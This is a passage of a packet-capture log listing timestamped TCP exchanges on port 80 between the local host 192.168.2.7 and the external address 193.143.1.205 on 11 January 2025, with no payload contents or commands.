Jan 11, 2025 01:59:35.747906923 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.747916937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.747942924 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.748039007 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748048067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748053074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748058081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748078108 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.748101950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.748296022 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748305082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748315096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748325109 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748337030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748349905 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.748362064 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.748368979 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.748538017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748553991 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748564959 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748574018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748584032 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748594999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748605967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748606920 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.748615980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.748631001 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.748665094 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.749094963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749105930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749115944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749126911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749135971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749146938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749157906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749167919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749178886 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749187946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749198914 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749208927 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749221087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749232054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749418020 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.749749899 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749761105 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749771118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749783039 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749793053 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749803066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749804974 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.749814987 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.749828100 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.749840021 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.750293016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750303984 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750313997 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750323057 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750334024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750344992 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750355005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750366926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750377893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750389099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750400066 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750411034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750418901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750430107 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750441074 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.750526905 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.751193047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751204967 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751214981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751225948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751235962 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751247883 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751259089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751270056 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751276016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751281023 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751286030 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751292944 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751297951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.751430035 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.763478041 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763488054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763524055 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763608932 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763619900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763621092 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.763674974 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.763698101 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763809919 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763820887 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763833046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763844013 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763854980 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.763855934 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.763880014 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.763890982 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.764019012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764095068 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764111042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764158010 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.764259100 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764270067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764280081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764283895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764329910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.764398098 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764436960 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.764466047 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764477968 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764487982 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764497995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764506102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.764514923 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.764540911 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.785412073 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.785532951 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.785533905 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.785550117 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.785595894 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.785620928 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.785631895 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.785672903 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.785712004 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.785722971 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.785733938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.785773993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.801224947 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.803880930 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.803899050 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.803909063 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.803946972 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.803972006 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.803987026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.803998947 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804035902 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.804207087 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804218054 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804229021 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804239988 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804249048 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804256916 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.804315090 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.804543018 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804554939 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804563999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804573059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804583073 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.804589987 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.804601908 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.804621935 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.819943905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.819969893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.819984913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.820038080 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.820096970 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.820115089 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.820157051 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.820192099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.820204020 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.820216894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.820242882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.820255995 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.838272095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838289976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838299990 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838357925 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.838388920 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838459969 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838470936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838498116 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.838519096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.838620901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838633060 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838644028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838654995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838670015 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.838691950 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.838820934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838865042 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838874102 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.838898897 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839035034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839046955 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839057922 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839067936 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839071989 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839080095 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839092016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839097977 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839103937 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839118958 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839121103 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839140892 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839498043 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839509964 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839520931 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839531898 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839534998 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839543104 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839554071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839555979 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839565039 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839576006 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839577913 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839586973 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839598894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839601994 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839608908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839621067 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839632034 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.839632988 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839654922 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.839672089 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.840142012 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840152979 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840163946 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840174913 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840186119 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840194941 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.840228081 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.840424061 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840435028 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840445995 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840456963 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840466976 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840466976 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.840485096 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.840485096 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840497017 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840502024 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.840508938 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840519905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840532064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840542078 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.840542078 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840553999 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840560913 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.840564966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840575933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840584993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.840589046 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.840609074 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.840693951 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.841461897 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841473103 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841484070 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841495037 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841505051 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841515064 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841521025 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.841526985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841538906 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841540098 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.841552019 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841556072 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.841558933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841569901 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841578007 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.841583014 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841594934 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.841604948 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.841623068 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.842330933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842341900 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842354059 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842372894 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842382908 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842394114 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842395067 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.842405081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842417002 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842427015 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842432976 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.842437983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842449903 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.842454910 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.842473984 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.842497110 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.854098082 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854175091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854271889 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.854294062 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854305983 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854316950 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854327917 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854346991 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.854376078 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.854401112 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854413986 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854521990 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854533911 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854562044 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.854577065 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.854628086 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854659081 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854669094 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854696035 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.854772091 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854784966 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854795933 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.854819059 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.854841948 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.875924110 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.875967026 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.875977993 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.876044035 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.876065016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.876077890 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.876115084 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.876147985 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.876214027 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.876225948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.876249075 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.876276016 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.894464016 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.894524097 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.894535065 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.894610882 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.894697905 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.894715071 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.894726038 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.894737005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.894748926 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.894758940 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.894799948 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.894799948 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.894999981 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.895010948 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.895050049 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.895102024 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.895112038 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.895123005 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.895136118 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.895145893 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.895149946 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 01:59:35.895157099 CET	80	49700	193.143.1.205	192.168.2.7
Jan 11, 2025 01:59:35.895170927 CET	49700	80	192.168.2.7	193.143.1.205
